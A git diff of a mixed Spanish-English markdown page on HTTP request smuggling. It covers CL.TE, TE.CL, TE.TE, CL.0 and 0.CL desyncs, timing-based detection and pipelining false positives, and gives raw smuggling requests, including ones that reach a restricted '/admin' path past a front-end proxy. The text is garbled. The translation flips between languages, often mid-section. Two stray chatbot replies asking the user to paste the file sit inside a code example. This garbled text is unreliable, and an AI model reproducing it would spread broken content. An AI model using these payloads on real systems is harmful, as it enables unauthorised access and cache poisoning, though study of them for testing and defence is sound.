- **Front-End (CL):** Procesa la request basándose en el header `Content-Length`.
|
||||
- **Back-End (TE):** Procesa la request basándose en el header `Transfer-Encoding`.
|
||||
- **Escenario de ataque:**
|
||||
- **Front-End (CL):** Processes the request based on the `Content-Length` header.
|
||||
- **Back-End (TE):** Processes the request based on the `Transfer-Encoding` header.
|
||||
- **Attack Scenario:**
|
||||
|
||||
- El atacante envía una request donde el valor del header `Content-Length` no coincide con la longitud real del contenido.
|
||||
- El front-end server reenvía la request completa al back-end, basándose en el valor de `Content-Length`.
|
||||
- El back-end server procesa la request como chunked debido al header `Transfer-Encoding: chunked`, interpretando los datos restantes como una request separada y subsecuente.
|
||||
- **Ejemplo:**
|
||||
- The attacker sends a request where the `Content-Length` header's value does not match the actual content length.
|
||||
- The front-end server forwards the entire request to the back-end, based on the `Content-Length` value.
|
||||
- The back-end server processes the request as chunked due to the `Transfer-Encoding: chunked` header, interpreting the remaining data as a separate, subsequent request.
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -76,14 +93,14 @@ Foo: x
|
||||
|
||||
#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
|
||||
|
||||
- **Front-End (TE):** Procesa la request basándose en el header `Transfer-Encoding`.
|
||||
- **Back-End (CL):** Procesa la request basándose en el header `Content-Length`.
|
||||
- **Escenario de ataque:**
|
||||
- **Front-End (TE):** Processes the request based on the `Transfer-Encoding` header.
|
||||
- **Back-End (CL):** Processes the request based on the `Content-Length` header.
|
||||
- **Attack Scenario:**
|
||||
|
||||
- El atacante envía una request chunked donde el tamaño del chunk (`7b`) y la longitud real del contenido (`Content-Length: 4`) no coinciden.
|
||||
- El front-end server, respetando `Transfer-Encoding`, reenvía la request completa al back-end.
|
||||
- El back-end server, respetando `Content-Length`, procesa solo la parte inicial de la request (`7b` bytes), dejando el resto como parte de una request subsecuente no intencionada.
|
||||
- **Ejemplo:**
|
||||
- The attacker sends a chunked request where the chunk size (`7b`) and actual content length (`Content-Length: 4`) do not align.
|
||||
- The front-end server, honoring `Transfer-Encoding`, forwards the entire request to the back-end.
|
||||
- The back-end server, respecting `Content-Length`, processes only the initial part of the request (`7b` bytes), leaving the rest as part of an unintended subsequent request.
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -105,13 +122,13 @@ x=
|
||||
|
||||
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
|
||||
|
||||
- **Servers:** Ambos soportan `Transfer-Encoding`, pero uno puede ser engañado para ignorarlo mediante obfuscación.
|
||||
- **Escenario de ataque:**
|
||||
- **Servers:** Both support `Transfer-Encoding`, but one can be tricked into ignoring it via obfuscation.
|
||||
- **Attack Scenario:**
|
||||
|
||||
- El atacante envía una request con headers `Transfer-Encoding` obfuscados.
|
||||
- Dependiendo de cuál servidor (front-end o back-end) no reconozca la obfuscación, se puede explotar una vulnerabilidad CL.TE o TE.CL.
|
||||
- La parte no procesada de la request, tal como la ve uno de los servidores, se convierte en parte de una request subsecuente, llevando al smuggling.
|
||||
- **Ejemplo:**
|
||||
- The attacker sends a request with obfuscated `Transfer-Encoding` headers.
|
||||
- Depending on which server (front-end or back-end) fails to recognize the obfuscation, a CL.TE or TE.CL vulnerability may be exploited.
|
||||
- The unprocessed part of the request, as seen by one of the servers, becomes part of a subsequent request, leading to smuggling.
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -132,9 +149,9 @@ Transfer-Encoding
|
||||
|
||||
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
|
||||
|
||||
- Ambos servidores procesan la request basándose únicamente en el header `Content-Length`.
|
||||
- Este escenario típicamente no conduce a smuggling, ya que hay alineación en cómo ambos servidores interpretan la longitud de la request.
|
||||
- **Ejemplo:**
|
||||
- Both servers process the request based solely on the `Content-Length` header.
|
||||
- This scenario typically does not lead to smuggling, as there's alignment in how both servers interpret the request length.
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -147,9 +164,9 @@ Normal Request
|
||||
|
||||
#### **CL.0 Scenario**
|
||||
|
||||
- Se refiere a escenarios donde el header `Content-Length` está presente y tiene un valor distinto de cero, indicando que el body de la request tiene contenido. El back-end ignora el header `Content-Length` (que es tratado como 0), pero el front-end lo parsea.
|
||||
- Es crucial para entender y crear ataques de smuggling, ya que influye en cómo los servidores determinan el final de una request.
|
||||
- **Ejemplo:**
|
||||
- Refers to scenarios where the `Content-Length` header is present and has a value other than zero, indicating that the request body has content. The back-end ignores the `Content-Length` header (which is treated as 0), but the front-end parses it.
|
||||
- It's crucial in understanding and crafting smuggling attacks, as it influences how servers determine the end of a request.
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -162,7 +179,7 @@ Non-Empty Body
|
||||
|
||||
#### TE.0 Scenario
|
||||
|
||||
- Igual que el anterior pero usando TE
|
||||
- Like the previous one but using TE
|
||||
- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
- **Example**:
|
||||
```
|
||||
@ -182,34 +199,58 @@ x: X
|
||||
EMPTY_LINE_HERE
|
||||
EMPTY_LINE_HERE
|
||||
```
|
||||
#### `0.CL` Escenario
|
||||
|
||||
En una situación `0.CL` se envía una request con un Content-Length como:
|
||||
```
|
||||
GET /Logon HTTP/1.1
|
||||
Host: <redacted>
|
||||
Content-Length:
|
||||
7
|
||||
|
||||
GET /404 HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
Y el front-end no tiene en cuenta el `Content-Length`, así que solo envía la primera request al backend (hasta el 7 en el ejemplo). Sin embargo, el backend ve el `Content-Length` y espera un body que nunca llega porque el front-end ya está esperando la response.
|
||||
|
||||
Sin embargo, si existe una request que sea posible enviar al backend y que sea respondida antes de recibir el body de la request, este deadlock no ocurrirá. En IIS, por ejemplo, esto sucede al enviar requests a palabras reservadas como `/con` (check the [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), de este modo la request inicial será respondida directamente y la segunda request contendrá la request de la víctima como:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
X: yGET /victim HTTP/1.1
|
||||
Host: <redacted>
|
||||
```
|
||||
Esto es útil para provocar un desync, pero hasta ahora no ha tenido ningún impacto.
|
||||
|
||||
Sin embargo, el post ofrece una solución para esto convirtiendo un **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.
|
||||
|
||||
#### Romper el servidor web
|
||||
|
||||
Esta técnica también es útil en escenarios donde es posible **romper un servidor web mientras se leen los datos HTTP iniciales** pero **sin cerrar la conexión**. De este modo, el **body** del HTTP request será considerado el **siguiente HTTP request**.
|
||||
Esta técnica también es útil en escenarios donde es posible **romper un servidor web mientras se leen los datos HTTP iniciales** pero **sin cerrar la conexión**. De esta forma, el **cuerpo** de la solicitud HTTP será considerado la **siguiente solicitud HTTP**.
|
||||
|
||||
Por ejemplo, como se explica en [**this writeup**](https://mizu.re/post/twisty-python), en Werkzeug era posible enviar algunos caracteres **Unicode** y eso provocaba que el servidor **se rompiera**. Sin embargo, si la conexión HTTP se creó con la cabecera **`Connection: keep-alive`**, el body de la request no se leerá y la conexión permanecerá abierta, por lo que el **body** de la request será tratado como la **siguiente HTTP request**.
|
||||
Por ejemplo, como se explica en [**this writeup**](https://mizu.re/post/twisty-python), En Werkzeug era posible enviar algunos **Unicode** caracteres y eso haría que el servidor **se rompiera**. Sin embargo, si la conexión HTTP se creó con la cabecera **`Connection: keep-alive`**, el cuerpo de la solicitud no se leerá y la conexión permanecerá abierta, por lo que el **cuerpo** de la solicitud será tratado como la **siguiente solicitud HTTP**.
|
||||
|
||||
#### Forzar mediante hop-by-hop headers
|
||||
|
||||
Abusando de los hop-by-hop headers puedes indicarle al proxy que elimine la cabecera Content-Length o Transfer-Encoding, de modo que sea posible explotar un HTTP request smuggling.
|
||||
Abusando de hop-by-hop headers, podrías indicar al proxy que **elimine la cabecera Content-Length o Transfer-Encoding para que sea posible abusar de HTTP request smuggling**.
|
||||
```
|
||||
Connection: Content-Length
|
||||
```
|
||||
For **más información sobre hop-by-hop headers** visita:
|
||||
Para **más información sobre hop-by-hop headers** visita:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../abusing-hop-by-hop-headers.md
|
||||
{{#endref}}
|
||||
|
||||
## Finding HTTP Request Smuggling
|
||||
## Detección de HTTP Request Smuggling
|
||||
|
||||
La identificación de vulnerabilidades de HTTP request smuggling a menudo puede lograrse usando técnicas de temporización, que se basan en observar cuánto tarda el servidor en responder a solicitudes manipuladas. Estas técnicas son particularmente útiles para detectar vulnerabilidades CL.TE y TE.CL. Además de estos métodos, existen otras estrategias y herramientas que pueden usarse para encontrar dichas vulnerabilidades:
|
||||
Identifying HTTP request smuggling vulnerabilities can often be achieved using timing techniques, which rely on observing how long it takes for the server to respond to manipulated requests. These techniques are particularly useful for detecting CL.TE and TE.CL vulnerabilities. Besides these methods, there are other strategies and tools that can be used to find such vulnerabilities:
|
||||
|
||||
### Finding CL.TE Vulnerabilities Using Timing Techniques
|
||||
### Detección de vulnerabilidades CL.TE usando técnicas de temporización
|
||||
|
||||
- **Método:**
|
||||
|
||||
- Envía una solicitud que, si la aplicación es vulnerable, hará que el servidor back-end espere datos adicionales.
|
||||
- Envía una petición que, si la aplicación es vulnerable, hará que el servidor back-end espere datos adicionales.
|
||||
- **Ejemplo:**
|
||||
|
||||
```
|
||||
@ -225,18 +266,18 @@ A
|
||||
```
|
||||
|
||||
- **Observación:**
|
||||
- El front-end procesa la solicitud en base a `Content-Length` y corta el mensaje prematuramente.
|
||||
- El back-end, esperando un mensaje chunked, espera el siguiente chunk que nunca llega, causando un retraso.
|
||||
- El servidor front-end procesa la petición basado en `Content-Length` y corta el mensaje prematuramente.
|
||||
- El servidor back-end, esperando un mensaje chunked, espera el siguiente chunk que nunca llega, causando un retraso.
|
||||
|
||||
- **Indicadores:**
|
||||
- Timeouts o largos retrasos en la respuesta.
|
||||
- Recibir un 400 Bad Request del back-end, a veces con información detallada del servidor.
|
||||
- Recibir un error 400 Bad Request del servidor back-end, a veces con información detallada del servidor.
|
||||
|
||||
### Finding TE.CL Vulnerabilities Using Timing Techniques
|
||||
### Detección de vulnerabilidades TE.CL usando técnicas de temporización
|
||||
|
||||
- **Método:**
|
||||
|
||||
- Envía una solicitud que, si la aplicación es vulnerable, hará que el servidor back-end espere datos adicionales.
|
||||
- Envía una petición que, si la aplicación es vulnerable, hará que el servidor back-end espere datos adicionales.
|
||||
- **Ejemplo:**
|
||||
|
||||
```
|
||||
@ -251,41 +292,49 @@ X
|
||||
```
|
||||
|
||||
- **Observación:**
|
||||
- El front-end procesa la solicitud en base a `Transfer-Encoding` y reenvía el mensaje completo.
|
||||
- El back-end, esperando un mensaje basado en `Content-Length`, espera datos adicionales que nunca llegan, causando un retraso.
|
||||
- El servidor front-end procesa la petición basado en `Transfer-Encoding` y reenvía todo el mensaje.
|
||||
- El servidor back-end, esperando un mensaje basado en `Content-Length`, espera datos adicionales que nunca llegan, provocando un retraso.
|
||||
|
||||
### Other Methods to Find Vulnerabilities
|
||||
### Otros métodos para encontrar vulnerabilidades
|
||||
|
||||
- **Differential Response Analysis:**
|
||||
- Envía versiones ligeramente diferentes de una solicitud y observa si las respuestas del servidor difieren de manera inesperada, lo que indicaría una discrepancia en el parsing.
|
||||
- **Using Automated Tools:**
|
||||
- Herramientas como Burp Suite's 'HTTP Request Smuggler' extension pueden probar automáticamente estas vulnerabilidades enviando varias formas de solicitudes ambiguas y analizando las respuestas.
|
||||
- **Content-Length Variance Tests:**
|
||||
- Envía solicitudes con distintos valores de `Content-Length` que no concuerden con la longitud real del contenido y observa cómo el servidor maneja tales desajustes.
|
||||
- **Transfer-Encoding Variance Tests:**
|
||||
- Envía solicitudes con cabeceras `Transfer-Encoding` ofuscadas o malformadas y monitorea cómo responden de forma diferente el front-end y el back-end a esas manipulaciones.
|
||||
- **Análisis de respuesta diferencial:**
|
||||
- Envía versiones ligeramente variadas de una petición y observa si las respuestas del servidor difieren de forma inesperada, lo que indicaría una discrepancia de parsing.
|
||||
- **Uso de herramientas automatizadas:**
|
||||
- Herramientas como la extensión 'HTTP Request Smuggler' de Burp Suite pueden probar automáticamente estas vulnerabilidades enviando varias formas de peticiones ambiguas y analizando las respuestas.
|
||||
- **Pruebas de variación de Content-Length:**
|
||||
- Envía peticiones con valores `Content-Length` variables que no coinciden con la longitud real del contenido y observa cómo el servidor maneja esos desajustes.
|
||||
- **Pruebas de variación de Transfer-Encoding:**
|
||||
- Envía peticiones con encabezados `Transfer-Encoding` ofuscados o malformados y monitorea cómo responden de forma diferente el front-end y el back-end a tales manipulaciones.
|
||||
|
||||
### HTTP Request Smuggling Vulnerability Testing
|
||||
### El encabezado `Expect: 100-continue`
|
||||
|
||||
Después de confirmar la efectividad de las técnicas de temporización, es crucial verificar si las solicitudes del cliente pueden ser manipuladas. Un método sencillo es intentar envenenar tus solicitudes; por ejemplo, hacer que una solicitud a `/` devuelva un 404. Los ejemplos CL.TE y TE.CL discutidos previamente en [Basic Examples](#basic-examples) muestran cómo envenenar la solicitud de un cliente para provocar un 404, a pesar de que el cliente intentaba acceder a otro recurso.
|
||||
Comprueba cómo este encabezado puede ayudar a explotar un http desync en:
|
||||
|
||||
{{#ref}}
|
||||
../special-http-headers.md
|
||||
{{#endref}}
|
||||
|
||||
### Pruebas de vulnerabilidad de HTTP Request Smuggling
|
||||
|
||||
After confirming the effectiveness of timing techniques, it's crucial to verify if client requests can be manipulated. A straightforward method is to attempt poisoning your requests, for instance, making a request to `/` yield a 404 response. The `CL.TE` and `TE.CL` examples previously discussed in [Basic Examples](#basic-examples) demonstrate how to poison a client's request to elicit a 404 response, despite the client aiming to access a different resource.
|
||||
|
||||
**Consideraciones clave**
|
||||
|
||||
Al probar vulnerabilidades de request smuggling interfiriendo con otras solicitudes, ten en cuenta:
|
||||
Al probar vulnerabilidades de request smuggling interfiriendo con otras peticiones, ten en cuenta:
|
||||
|
||||
- **Conexiones de red distintas:** Las solicitudes "de ataque" y "normales" deben enviarse por conexiones de red separadas. Usar la misma conexión para ambas no valida la presencia de la vulnerabilidad.
|
||||
- **URL y parámetros consistentes:** Intenta usar URLs y nombres de parámetros idénticos para ambas solicitudes. Las aplicaciones modernas a menudo enrutan solicitudes a servidores back-end específicos según la URL y los parámetros. Coincidirlos aumenta la probabilidad de que ambas solicitudes sean procesadas por el mismo servidor, un requisito para un ataque exitoso.
|
||||
- **Condiciones de carrera y temporización:** La solicitud "normal", destinada a detectar la interferencia de la solicitud "de ataque", compite con otras solicitudes concurrentes de la aplicación. Por lo tanto, envía la solicitud "normal" inmediatamente después de la "de ataque". Aplicaciones con mucho tráfico pueden requerir múltiples intentos para una confirmación concluyente.
|
||||
- **Desafíos de load balancing:** Los front-ends que actúan como load balancers pueden distribuir solicitudes entre varios sistemas back-end. Si la solicitud "de ataque" y la "normal" terminan en sistemas diferentes, el ataque no tendrá éxito. Este aspecto de balanceo de carga puede requerir varios intentos para confirmar una vulnerabilidad.
|
||||
- **Impacto involuntario en otros usuarios:** Si tu ataque afecta inadvertidamente la solicitud de otro usuario (no la solicitud "normal" que enviaste para detección), esto indica que tu ataque influyó en otro usuario de la aplicación. Las pruebas continuas podrían interrumpir a otros usuarios, por lo que es necesario proceder con cautela.
|
||||
- **Conexiones de red distintas:** Las peticiones "attack" y "normal" deben enviarse por conexiones de red separadas. Usar la misma conexión para ambas no valida la presencia de la vulnerabilidad.
|
||||
- **URL y parámetros consistentes:** Intenta usar URLs idénticas y nombres de parámetros para ambas peticiones. Las aplicaciones modernas suelen enrutar peticiones a servidores back-end específicos según la URL y los parámetros. Hacerlos coincidir aumenta la probabilidad de que ambas peticiones sean procesadas por el mismo servidor, un requisito previo para un ataque exitoso.
|
||||
- **Sincronización y condiciones de carrera:** La petición "normal", destinada a detectar interferencia de la petición "attack", compite con otras peticiones concurrentes de la aplicación. Por lo tanto, envía la petición "normal" inmediatamente después de la petición "attack". Aplicaciones con alta carga pueden requerir múltiples intentos para confirmar la vulnerabilidad.
|
||||
- **Desafíos de balanceo de carga:** Los front-end que actúan como balanceadores de carga pueden distribuir peticiones entre varios sistemas back-end. Si las peticiones "attack" y "normal" terminan en sistemas diferentes, el ataque no tendrá éxito. Este aspecto de balanceo de carga puede requerir varios intentos para confirmar una vulnerabilidad.
|
||||
- **Impacto no intencionado en usuarios:** Si tu ataque afecta inadvertidamente la petición de otro usuario (no la petición "normal" que enviaste para detección), esto indica que tu ataque influyó en otro usuario de la aplicación. Las pruebas continuas podrían interrumpir a otros usuarios, por lo que se requiere un enfoque cauto.
|
||||
|
||||
## Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling
|
||||
## Distinguir artefactos de pipelining de HTTP/1.1 vs request smuggling genuino
|
||||
|
||||
La reutilización de conexiones (keep-alive) y el pipelining pueden fácilmente producir ilusiones de "smuggling" en herramientas de prueba que envían múltiples solicitudes sobre el mismo socket. Aprende a separar artefactos inocuos del lado del cliente de una desincronización real del lado del servidor.
|
||||
La reutilización de conexiones (keep-alive) y el pipelining pueden producir fácilmente ilusiones de "smuggling" en herramientas de prueba que envían múltiples peticiones por el mismo socket. Aprende a separar artefactos inocuos del lado del cliente de una desincronización real del lado del servidor.
|
||||
|
||||
### Why pipelining creates classic false positives
|
||||
### Por qué el pipelining crea falsos positivos clásicos
|
||||
|
||||
HTTP/1.1 reutiliza una única conexión TCP/TLS y concatena solicitudes y respuestas en el mismo flujo. En pipelining, el cliente envía múltiples solicitudes una tras otra y confía en respuestas en orden. Un falso positivo común es re-enviar dos veces un payload malformado estilo CL.0 en una sola conexión:
|
||||
HTTP/1.1 reutiliza una única conexión TCP/TLS y concatena peticiones y respuestas en el mismo stream. En el pipelining, el cliente envía múltiples peticiones una tras otra y depende de respuestas en orden. Un falso positivo común es reenviar una carga útil malformada al estilo CL.0 dos veces en una sola conexión:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: hackxor.net
|
||||
@ -294,7 +343,7 @@ Content_Length: 47
|
||||
GET /robots.txt HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
Por favor, pega el contenido del archivo src/pentesting-web/http-request-smuggling/README.md que quieres que traduzca al español. Seguiré las reglas indicadas (conservaré código, nombres técnicos, enlaces, rutas y etiquetas tal cual).
|
||||
No has pegado el contenido del archivo. Por favor pega aquí el contenido de src/pentesting-web/http-request-smuggling/README.md que quieres que traduzca y lo convertiré al español respetando todas las reglas (no traduciré código, nombres técnicos, enlaces, rutas ni las etiquetas/refs indicadas). ¿Quieres que traduzca el archivo completo o solo secciones específicas?
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
@ -308,7 +357,7 @@ Content-Type: text/plain
|
||||
User-agent: *
|
||||
Disallow: /settings
|
||||
```
|
||||
Si el servidor ignoró el `Content_Length` malformado, no hay FE↔BE desync. Con reutilización, tu cliente en realidad envió este flujo de bytes, que el servidor analizó como dos solicitudes independientes:
|
||||
Si el servidor ignoró el `Content_Length` malformado, no hay desync FE↔BE. Con reuse, tu cliente en realidad envió este byte-stream, que el servidor analizó como dos requests independientes:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: hackxor.net
|
||||
@ -322,78 +371,78 @@ Content_Length: 47
|
||||
GET /robots.txt HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
Impacto: ninguno. Simplemente desincronizaste tu cliente respecto al framing del servidor.
|
||||
Impacto: ninguno. Acabas de desincronizar tu cliente del framing del servidor.
|
||||
|
||||
> [!TIP]
|
||||
> Módulos de Burp que dependen de reuse/pipelining: Turbo Intruder con `requestsPerConnection>1`, Intruder con "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" o "Enable connection reuse".
|
||||
|
||||
### Pruebas definitivas: pipelining o desync real?
|
||||
### Pruebas litmus: pipelining o desincronización real?
|
||||
|
||||
1. Disable reuse and re-test
|
||||
- En Burp Intruder/Repeater, desactiva HTTP/1 reuse y evita "Send group in sequence".
|
||||
- En Turbo Intruder, configura `requestsPerConnection=1` y `pipeline=False`.
|
||||
- Si el comportamiento desaparece, probablemente era pipelining del cliente, a menos que estés tratando con targets connection-locked/stateful o con desync del lado del cliente.
|
||||
2. HTTP/2 nested-response check
|
||||
- Envía una petición HTTP/2. Si el body de la respuesta contiene una respuesta HTTP/1 completa anidada, has probado un bug de parsing/desync en el backend en lugar de un artefacto puro del cliente.
|
||||
3. Partial-requests probe for connection-locked front-ends
|
||||
- Algunos FE solo reutilizan la conexión upstream si el cliente reutilizó la suya. Usa partial-requests para detectar comportamiento del FE que refleja el reuse del cliente.
|
||||
1. Desactiva el reuse y vuelve a probar
|
||||
- En Burp Intruder/Repeater, apaga HTTP/1 reuse y evita "Send group in sequence".
|
||||
- En Turbo Intruder, establece `requestsPerConnection=1` y `pipeline=False`.
|
||||
- Si el comportamiento desaparece, probablemente fue pipelining del cliente, a menos que estés tratando con targets con connection-locked/stateful o desync del lado del cliente.
|
||||
2. Comprobación de nested-response en HTTP/2
|
||||
- Envía una petición HTTP/2. Si el cuerpo de la respuesta contiene una respuesta HTTP/1 completa anidada, has demostrado un bug de parsing/desync en el backend en lugar de un artefacto puramente del cliente.
|
||||
3. Sondeo con partial-requests para front-ends connection-locked
|
||||
- Algunos FEs sólo reusan la conexión upstream al BE si el cliente reutilizó la suya. Usa partial-requests para detectar comportamiento del FE que refleja el reuse del cliente.
|
||||
- Véase PortSwigger "Browser‑Powered Desync Attacks" para la técnica connection-locked.
|
||||
4. State probes
|
||||
- Busca diferencias entre la primera petición y las posteriores en la misma conexión TCP (routing/validation de la primera petición).
|
||||
- Burp "HTTP Request Smuggler" incluye una conexión‑state probe que automatiza esto.
|
||||
5. Visualize the wire
|
||||
- Usa la extensión de Burp "HTTP Hacker" para inspeccionar la concatenación y el framing de mensajes directamente mientras experimentas con reuse y partial requests.
|
||||
4. Sondeos de estado
|
||||
- Busca diferencias entre la primera petición y las subsiguientes en la misma conexión TCP (first-request routing/validation).
|
||||
- Burp "HTTP Request Smuggler" incluye un connection‑state probe que automatiza esto.
|
||||
5. Visualiza el wire
|
||||
- Usa la extensión Burp "HTTP Hacker" para inspeccionar concatenación y framing de mensajes directamente mientras experimentas con reuse y partial requests.
|
||||
|
||||
### Connection‑locked request smuggling (reuse-required)
|
||||
|
||||
Algunos front-ends solo reutilizan la conexión upstream cuando el cliente reutiliza la suya. El smuggling real existe pero es condicional al reuse del lado del cliente. Para distinguir y demostrar impacto:
|
||||
- Prueba el bug del lado del servidor
|
||||
- Usa el HTTP/2 nested-response check, o
|
||||
- Usa partial-requests para mostrar que el FE solo reutiliza upstream cuando el cliente lo hace.
|
||||
- Muestra impacto real aunque el abuso directo de sockets cross-user esté bloqueado:
|
||||
- Cache poisoning: envenena caches compartidas vía el desync para que las respuestas afecten a otros usuarios.
|
||||
- Internal header disclosure: refleja headers inyectados por el FE (por ejemplo, auth/trust headers) y pivota hacia un auth bypass.
|
||||
- Bypass FE controls: smuggle rutas/métodos restringidos más allá del front-end.
|
||||
- Host-header abuse: combina con peculiaridades del host routing para pivotar a vhosts internos.
|
||||
Algunos front-ends sólo reusan la conexión upstream cuando el cliente reusa la suya. Existe smuggling real pero es condicional al reuse del lado del cliente. Para distinguir y probar el impacto:
|
||||
- Prueba el bug del lado servidor
|
||||
- Usa la comprobación HTTP/2 nested-response, o
|
||||
- Usa partial-requests para mostrar que el FE sólo reusa upstream cuando el cliente lo hace.
|
||||
- Muestra impacto real incluso si el abuso directo de sockets entre usuarios está bloqueado:
|
||||
- Cache poisoning: poison shared caches via the desync so responses affect other users.
|
||||
- Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
|
||||
- Bypass FE controls: smuggle restricted paths/methods past the front-end.
|
||||
- Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
|
||||
- Operator workflow
|
||||
- Reproduce con reuse controlado (Turbo Intruder `requestsPerConnection=2`, o Burp Repeater tab group → "Send group in sequence (single connection)").
|
||||
- Luego encadena hacia primitives de cache/header-leak/control-bypass y demuestra impacto cross-user o de autorización.
|
||||
- Reproduce con reuse controlado (Turbo Intruder `requestsPerConnection=2`, o Burp Repeater tab group → "Send group in sequence (single connection)").
|
||||
- Luego encadena hacia primitives de cache/header-leak/control-bypass y demuestra impacto entre usuarios o sobre autorización.
|
||||
|
||||
> See also connection‑state attacks, which are closely related but not technically smuggling:
|
||||
> Véase también connection‑state attacks, que están estrechamente relacionados pero no son técnicamente smuggling:
|
||||
>
|
||||
>{{#ref}}
|
||||
>../http-connection-request-smuggling.md
|
||||
>{{#endref}}
|
||||
|
||||
### Client‑side desync constraints
|
||||
### Restricciones de desincronización del lado del cliente
|
||||
|
||||
Si estás atacando desync alimentado por navegador/client-side, la petición maliciosa debe ser enviable por un browser cross-origin. Los trucos de header obfuscation no funcionarán. Enfócate en primitives alcanzables vía navigation/fetch, y luego pivota a cache poisoning, header disclosure o bypass de controles front-end cuando componentes downstream reflejen o cacheen respuestas.
|
||||
Si apuntas a browser-powered/client-side desync, la petición maliciosa debe poder ser enviada por un navegador cross-origin. Los trucos de obfuscación de headers no funcionarán. Enfócate en primitives accesibles vía navigation/fetch, y luego pivota a cache poisoning, header disclosure, o bypass de controles del front-end cuando componentes downstream reflejen o almacenen en caché las respuestas.
|
||||
|
||||
Para contexto y workflows end‑to‑end:
|
||||
Para contexto y flujos end-to-end:
|
||||
|
||||
{{#ref}}
|
||||
browser-http-request-smuggling.md
|
||||
{{#endref}}
|
||||
|
||||
### Tooling to help decide
|
||||
### Herramientas para ayudar a decidir
|
||||
|
||||
- HTTP Hacker (Burp BApp Store): expone comportamiento HTTP a bajo nivel y concatenación de sockets.
|
||||
- HTTP Hacker (Burp BApp Store): expone comportamiento HTTP de bajo nivel y concatenación de sockets.
|
||||
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
|
||||
- Turbo Intruder: control preciso sobre connection reuse vía `requestsPerConnection`.
|
||||
- Burp HTTP Request Smuggler: incluye una connection‑state probe para detectar routing/validation de la primera petición.
|
||||
- Burp HTTP Request Smuggler: incluye un connection‑state probe para detectar first‑request routing/validation.
|
||||
|
||||
> [!NOTE]
|
||||
> Trata los efectos que dependen solo de reuse como no-problemas a menos que puedas probar un desync del lado del servidor y adjuntar un impacto concreto (artefacto de cache envenenada, internal header leak que permite bypass de privilegios, control del FE bypassed, etc.).
|
||||
> Trata los efectos que dependen sólo de reuse como no problemáticos a menos que puedas demostrar un desync del lado servidor y adjuntar impacto concreto (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
|
||||
|
||||
## Abusing HTTP Request Smuggling
|
||||
|
||||
### Circumventing Front-End Security via HTTP Request Smuggling
|
||||
|
||||
A veces, los proxies front-end imponen medidas de seguridad y escrutan las peticiones entrantes. Sin embargo, estas medidas pueden ser eludidas explotando HTTP Request Smuggling, permitiendo acceso no autorizado a endpoints restringidos. Por ejemplo, acceder a `/admin` puede estar prohibido desde el exterior, con el proxy front-end bloqueando activamente esos intentos. No obstante, este proxy puede no inspeccionar las peticiones embebidas dentro de una petición HTTP smuggled, dejando una brecha para eludir estas restricciones.
|
||||
A veces, los proxies front-end imponen medidas de seguridad, escrutando las solicitudes entrantes. Sin embargo, estas medidas pueden ser eludidas explotando HTTP Request Smuggling, permitiendo acceso no autorizado a endpoints restringidos. Por ejemplo, el acceso a `/admin` puede estar prohibido externamente, con el proxy front-end bloqueando activamente tales intentos. No obstante, este proxy puede no inspeccionar las solicitudes embebidas dentro de una petición HTTP smuggled, dejando una brecha para bypass de estas restricciones.
|
||||
|
||||
Considera los siguientes ejemplos que ilustran cómo HTTP Request Smuggling puede usarse para evadir controles de seguridad del front-end, apuntando específicamente al path `/admin` que típicamente está protegido por el proxy front-end:
|
||||
Considera los siguientes ejemplos que ilustran cómo HTTP Request Smuggling puede usarse para eludir controles de seguridad del front-end, apuntando específicamente al path `/admin` que típicamente está protegido por el proxy front-end:
|
||||
|
||||
**CL.TE Example**
|
||||
**Ejemplo CL.TE**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: [redacted].web-security-academy.net
|
||||
@ -410,7 +459,7 @@ Content-Length: 10
|
||||
|
||||
x=
|
||||
```
|
||||
En el ataque CL.TE, la cabecera `Content-Length` se aprovecha para la solicitud inicial, mientras que la solicitud incrustada posterior utiliza la cabecera `Transfer-Encoding: chunked`. El proxy frontal procesa la solicitud `POST` inicial pero no inspecciona la solicitud incrustada `GET /admin`, permitiendo el acceso no autorizado a la ruta `/admin`.
|
||||
En el CL.TE attack, el header `Content-Length` se aprovecha para la request inicial, mientras que la request incrustada posterior utiliza el header `Transfer-Encoding: chunked`. El front-end proxy procesa la `POST` request inicial pero no inspecciona la request incrustada `GET /admin`, permitiendo acceso no autorizado a la ruta `/admin`.
|
||||
|
||||
**TE.CL Ejemplo**
|
||||
```
|
||||
@ -428,13 +477,13 @@ a=x
|
||||
0
|
||||
|
||||
```
|
||||
Por el contrario, en el ataque TE.CL, la solicitud inicial `POST` usa `Transfer-Encoding: chunked`, y la solicitud embebida posterior se procesa según la cabecera `Content-Length`. De forma similar al ataque CL.TE, el proxy front-end pasa por alto la smuggled `GET /admin`, concediendo involuntariamente acceso a la ruta restringida `/admin`.
|
||||
